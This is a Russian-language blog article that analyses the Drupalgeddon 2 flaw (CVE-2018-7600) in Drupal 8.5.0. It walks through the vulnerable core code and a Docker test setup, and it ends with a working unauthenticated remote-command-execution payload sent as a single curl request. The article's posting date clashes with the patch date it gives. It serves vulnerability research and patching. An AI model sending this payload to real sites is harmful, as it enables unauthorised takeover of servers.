Авторизация:


Сообщество людей и технологий
Сегодня у нас: год

Уже есть аккаунт? Войти
Присоединяйся к нашему гик сообществу!

Создай свой блог, делись интересной информацией из мира высоких технологий.

Друпалгеддон-2. Подробно разбираем новую уязвимость в Drupal
Статьи, 15-02-2018, 03:45

Друпалгеддон-2. Подробно разбираем новую уязвимость в Drupal

Содержание статьи

  • Воспроизводим уязвимую систему
  • Детали
  • Выводы

Вот и?настал час второго «Друпалгеддона»! Это новая версия наделавшей в свое время много шума критической уязвимости в одной из самых популярных CMS. Найденная брешь позволяет абсолютно любому незарегистрированному пользователю всего одним запросом выполнять любые команды на целевой системе.

Проблему обостряет то, что под угрозой оказались все наиболее актуальные версии приложения веток 7.х и 8.х, вплоть до 8.5.0. Сложно даже представить, сколько потенциально уязвимых целей доступно в данный момент злоумышленникам.

INFO

Уязвимость получила?идентификатор CVE-2018-7600 и высочайший статус опасности.

Разработчики выпустили патч еще 28 марта 2018 года, однако до 12 апреля в паблике не наблюдалось ссылок на работающий PoC или деталей проблемы. Стоит отдать разработчикам должное за патч, который был очень лаконичным и не давал?прямого ответа на вопрос, в каком месте стоит искать проблему.

Теперь, когда маски сброшены, давай посмотрим на уязвимость и сам эксплоит во всей красе.

Воспроизводим уязвимую систему

Протестировать уязвимость несложно. Само приложение очень просто устанавливается, а кроме?того, у Drupal имеется официальный репозиторий на Docker Hub, и развернуть контейнер с нужной версией CMS можно буквально в пару команд.

Развернем сначала копию MySQL, хотя можно и без него, Drupal поддерживает работу с SQLite.

$ docker run -d -e MYSQL_USER="drupal" -e MYSQL_PASSWORD="Q0b6EFCVW4" -e MYSQL_DATABASE="drupal" --rm --name=mysql --hostname=mysql mysql/mysql-server 

Теперь сам контейнер с CMS. Я решил использовать последнюю уязвимую версию — 8.5.0.

$ docker run -d --rm -p80:80 -p9000:9000 --link=mysql --name=drupalvh --hostname=drupalvh drupal:8.5.0 

Дальше открываем в браузере адрес твоего?докера и переходим к установке.

Установка Drupal 8.5.0

Откидываемся на спинку кресла и ждем завершения инсталляции.

Процесс установки Drupal 8.5.0

Наслаждаемся готовым к исследованию приложением. Если хочешь возиться с отладкой, как я, то можно установить Xdebug. Делается это тоже?буквально парой команд.

$ pecl install xdebug $ echo "zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20170718/xdebug.so" > /usr/local/etc/php/conf.d/php-xdebug.ini $ echo "xdebug.remote_enable=1" >> /usr/local/etc/php/conf.d/php-xdebug.ini $ echo "xdebug.remote_host=192.168.99.1" >> /usr/local/etc/php/conf.d/php-xdebug.ini 

Не забудь поменять IP-адрес 192.168.99.1 на свой. Дальше перезагружаем конфиги Apache.

$ service apache2 reload 

В качестве отладчика я использую JetBrains PhpStorm.

Детали

Для начала обратимся к патчу, который исправляет уязвимость.

Коммит с патчем уязвимости Drupalgeddon 2

Здорово, не правда ли? Разработчики просто добавили фильтрацию всех отправляемых юзером?данных.

И все же кое-какой свет на уязвимость это исправление может пролить. Посмотрим на сам код процедуры, которая отвечает за проверку. Данные передаются в метод sanitize, который вызывает stripDangerousValues.

/core/lib/Drupal/Core/DrupalKernel.php
545:   public function preHandle(Request $request) { 546:     // Sanitize the request. 547:     $request = RequestSanitizer::sanitize( 548:       $request, 549:       (array) Settings::get(RequestSanitizer::SANITIZE_WHITELIST, []), 
/core/lib/Drupal/Core/Security/RequestSanitizer.php
40:   public static function sanitize(Request $request, $whitelist, $log_sanitized_keys = FALSE) { ... 44:       $request->query->replace(static::stripDangerousValues($request->query->all(), $whitelist, $get_sanitized_keys)); 

А этот метод, в свою очередь, уже выполняет проверку всех переданных параметров. Если в них присутствуют пустые, начинающиеся?с символа решетки или отсутствующие в списке разрешенных, то они отбрасываются.

/core/lib/Drupal/Core/Security/RequestSanitizer.php
84:   protected static function stripDangerousValues($input, array $whitelist, array &$sanitized_keys) { 85:     if (is_array($input)) { 86:       foreach ($input as $key => $value) { 87:         if ($key !== '' && $key[0] === '#' && !in_array($key, $whitelist, TRUE)) { 88:           unset($input[$key]); 89:           $sanitized_keys[] = $key; 90:         } 91:         else { 92:           $input[$key] = static::stripDangerousValues($input[$key], $whitelist, $sanitized_keys); 93:         } 94:       } 95:     } 96:     return $input; 97:   } 

Что же это за волшебные параметры, которые начинаются с решетки? А это, мой друг, специальные плейсхолдеры для Drupal Render API. Этот API был введен с седьмой версии CMS и?используется для превращения структурированных данных в готовый HTML.

Данные, нужные при создании запрашиваемой страницы и отдельных ее частей, хранятся в виде особых массивов до этапа рендеринга. Это предоставляет широкие возможности для изменения?разметки или самого содержания страницы в любой момент на этапе загрузки или после него.

В Render API присутствует такое понятие, как рендерные массивы (Renderable Arrays). Это массивы с особой структурой, в которых хранится информация и то, каким образом данные нужно представить (отрендерить) для пользователя. Ключи с символом # — это как раз атрибуты для интерпретатора, который выполняет конвертацию.

Существует некоторое количество предопределенных типов этих атрибутов, например page, form, html_tag, value, markup и тому подобные. Большинство из них описаны в официальной документации по Forms API.

В контексте нашей уязвимости?интересны атрибуты, которые при обработке вызывают call_user_func. Например, к таким относятся #pre_render, #post_render, #access_callback, #submit, #lazy_builder, #validate. Для демонстрации эксплоита я воспользуюсь #post_render. Обработка этого элемента описана в файле Renderer.php.

/core/lib/Drupal/Core/Render/Renderer.php
500:     if (isset($elements['#post_render'])) { 501:       foreach ($elements['#post_render'] as $callable) { 502:         if (is_string($callable) && strpos($callable, '::') === FALSE) { 503:           $callable = $this->controllerResolver->getControllerFromDefinition($callable); 504:         } 505:         $elements['#children'] = call_user_func($callable, $elements['#children'], $elements); 506:       } 507:     } 

Теперь нам нужно найти такое место, где пользовательские данные?попадают в функцию render, чтобы внедрить этот атрибут с нужными параметрами. Причем сосредоточиться стоит на тех местах, которые доступны неавторизованному пользователю, так как известно, что для эксплуатации никаких прав не нужно.

/core/lib/Drupal/Core/Render/Renderer.php
182:   public function render(&$elements, $is_root_call = FALSE) { ... 194:     try { 195:       return $this->doRender($elements, $is_root_call); ... 207:   protected function doRender(&$elements, $is_root_call = FALSE) { 

Drupal огромен, и поиск таких мест может занять продолжительное время, поэтому не буду тебя мучить (к тому же ребята?из Check Point уже сделали всю работу за нас). Во время регистрации нового пользователя есть возможность сразу же загрузить аватар.

Форма регистрации нового пользователя в Drupal 8.5.0

Давай загрузим какую-нибудь картинку, предварительно пустив?трафик через прокси.

Запрос на загрузку аватара пользователя

За обработку этого запроса отвечает метод uploadAjaxCallback класса ManagedFile.

/core/modules/file/src/Element/ManagedFile.php
172:   public static function uploadAjaxCallback(&$form, FormStateInterface &$form_state, Request $request) { 

Обрати внимание на параметр element_parents в запросе.

element_parents=user_picture/widget/0 

Он используется для дальнейшей обработки.

/core/modules/file/src/Element/ManagedFile.php
174:     $renderer = Drupal::service('renderer'); 175: 176:     $form_parents = explode('/', $request->query->get('element_parents')); 

Переданные данные разбиваются по?слешу и используются при получении данных из основной формы с помощью NestedArray::getValue.

/core/modules/file/src/Element/ManagedFile.php
179:     $form = NestedArray::getValue($form, $form_parents); 
/core/lib/Drupal/Component/Utility/NestedArray.php
69:   public static function &getValue(array &$array, array $parents, &$key_exists = NULL) { 70:     $ref = &$array; 71:     foreach ($parents as $parent) { 72:       if (is_array($ref) && (isset($ref[$parent]) || array_key_exists($parent, $ref))) { 73:         $ref = &$ref[$parent]; 74:       } 75:       else { 76:         $key_exists = FALSE; 77:         $null = NULL; 78:         return $null; 79:       } 80:     } 81:     $key_exists = TRUE; 82:     return $ref; 83:   } 

А затем на основе полученных данных выполняется рендеринг полученного массива.

/core/modules/file/src/Element/ManagedFile.php
193:     $output = $renderer->renderRoot($form); 
/core/lib/Drupal/Core/Render/Renderer.php
129:   public function renderRoot(&$elements) { 130:     // Disallow calling ::renderRoot() from within another ::renderRoot() call. 131:     if ($this->isRenderingRoot) { ... 138:     $output = $this->executeInRenderContext(new RenderContext(), function () use (&$elements) { 139:       return $this->render($elements, TRUE); 140:     }); 

Теперь давай воспользуемся отладчиком и проанализируем, что происходит. Поставим прерывание на вызов NestedArray::getValue.

/core/modules/file/src/Element/ManagedFile.php
176:     $form_parents = explode('/', $request->query->get('element_parents')); ... 179:     $form = NestedArray::getValue($form, $form_parents); # вы здесь 

Отладка метода uploadAjaxCallback после загрузки аватара

Массив $form_parents, полученный из параметра element_parents, служит своеобразным путем к нужному элементу в $form для последующего рендеринга. В моем случае он выглядит как $form["user_picture"]["widget"][0]. Ключи разделяются слешами, прямо как в настоящих путях Unix.

Никто?тебе не мешает указать свой путь до нужного элемента, осталось его только найти. И обрати внимание на те поля, которые можно ввести в форме регистрации пользователя, а именно на mail и name. Параметр name фильтрует пользовательские данные, а?вот mail лоялен к таким делам. Попробуем переделать этот параметр в массив и передать в качестве ключа строку, начинающуюся с решетки.

Инъекция атрибута в значение параметра mail
$form => Array (       ...     [account] => Array     (         [#type] => container         [#weight] => -10         [mail] => Array             (             [#type] => email             [#title] => DrupalCoreStringTranslationTranslatableMarkup Object             ...             [#name] => mail             [#value] => Array                 (                     [#test] =>                  )             ...             )     ) ) 

Теперь, если мы укажем?в element_parents значение account/mail/#value и поставим прерывание после того, как отработает метод NestedArray::getValue, получим в результате обновленный $form с нашими параметрами.

Внедрение произвольного элемента и переназначение $form

Теперь вспоминаем волшебный атрибут #post_render и делаем массив-пейлоад на его основе. Сама функция для выполнения указывается в качестве первого элемента массива.

mail[#post_render][] = 'exec' 

Дальше нужно указать параметры для запуска. Посмотри на вызов call_user_func, и увидишь, что они?берутся из элемента #children.

/core/lib/Drupal/Core/Render/Renderer.php
500:     if (isset($elements['#post_render'])) { 501:       foreach ($elements['#post_render'] as $callable) { ... 505:         $elements['#children'] = call_user_func($callable, $elements['#children'], $elements); 

Поэтому туда их и запишем.

mail[#children] = 'uname -a' 

Теперь отправим получившуюся форму.

Все готово для эксплуатации RCE

И результат не заставит себя ждать! ????

Успешно отработавший RCE-эксплоит для Drupal 8.5.0

Теперь выкинем все лишнее из запроса?и оформим это в виде однострочной команды curl.

$ curl -s -X 'POST' --data 'mail[%23post_render][]=exec&mail[%23children]=pwd&form_id=user_register_form' 'http://drupal.vh/user/register?element_parents=account/mail/%23value&ajax_form=1' 

Элегантно и просто!

Выводы

Ну как тут можно подытожить? Первые звоночки об этой проблеме прозвучали еще в конце прошлого года, когда?исследователь под ником WhiteWinterWolf опубликовал пост у себя в блоге о еще одном возможном сценарии эксплуатации Drupalgeddon. Напомню, что в оригинале эта уязвимость позволяла неавторизованному пользователю выполнить SQL-инъекцию. WhiteWinterWolf же показал на ее примере, как ее можно?превратить в удаленное выполнение команд при помощи манипуляции все с теми же плейсхолдерами в массиве.

Проблема критична для всех владельцев сайтов на Drupal, им стоит приготовиться к массовым?атакам. Наверняка злоумышленники уже взяли на вооружение эксплоит, поэтому в срочном порядке пишем правила для WAF’ов и накатываем патчи. Кстати, если не хочешь обновляться, в официальном анонсе разработчики выложили патчи для?всех актуальных веток продукта. Хотя я все же настоятельно рекомендую поставить последние версии CMS. Для ветки 7.x это Drupal 7.58, а для 8.x — Drupal 8.5.1. Там уязвимость исправлена.

Или опять нет?


Добавьте комментарий, Ваше мнение очень важно:

Имя:*
E-Mail:
Комментарий:
Вопрос:
rgjrg
Ответ:*
Введите код: *


Самое интересное:
Гику на заметку:
Не iPhone самый продаваемый телефон в истории
Новый планшет BlackBerry PlayBook
Особенности ремонта айфонов своими руками
Переделка дачи
Как выбрать недорогой смартфон
Зависимость от... мобильного телефона и телевизора
Востребованные чехлы для ipone 4
Apple. Истинный лидер или дань моде?
Чехлы для смартфонов и айфонов
Вопрос:

Какой операционкой Вы пользуетесь?

Windows 8
Windows 7
Windows Vista или XP
Linux
Mac OS
Другой

 


2024 © Cig-bc.ru - Сообщество людей и технологий.

Все права защищены.

При цитировании любых материалов, публикуемых в журнале, обязательна ссылка, помещенная не ниже первого абзаца текста. При копировании новостных материалов для интернет-изданий обязательна прямая открытая для поисковых систем гиперссылка, размещаемая вне зависимости от объема используемых материалов (полного или частичного). По вопросам рекламы пишите на sales@cig-bc.ru !

Категории:

Новости IT
Гаджеты
Железо
Софт
Игры
Информация:

О проекте
Регистрация
Статистика
Карта сайта
RSS
Контакт:

Обратная связь
Email: admin@cig-bc.ru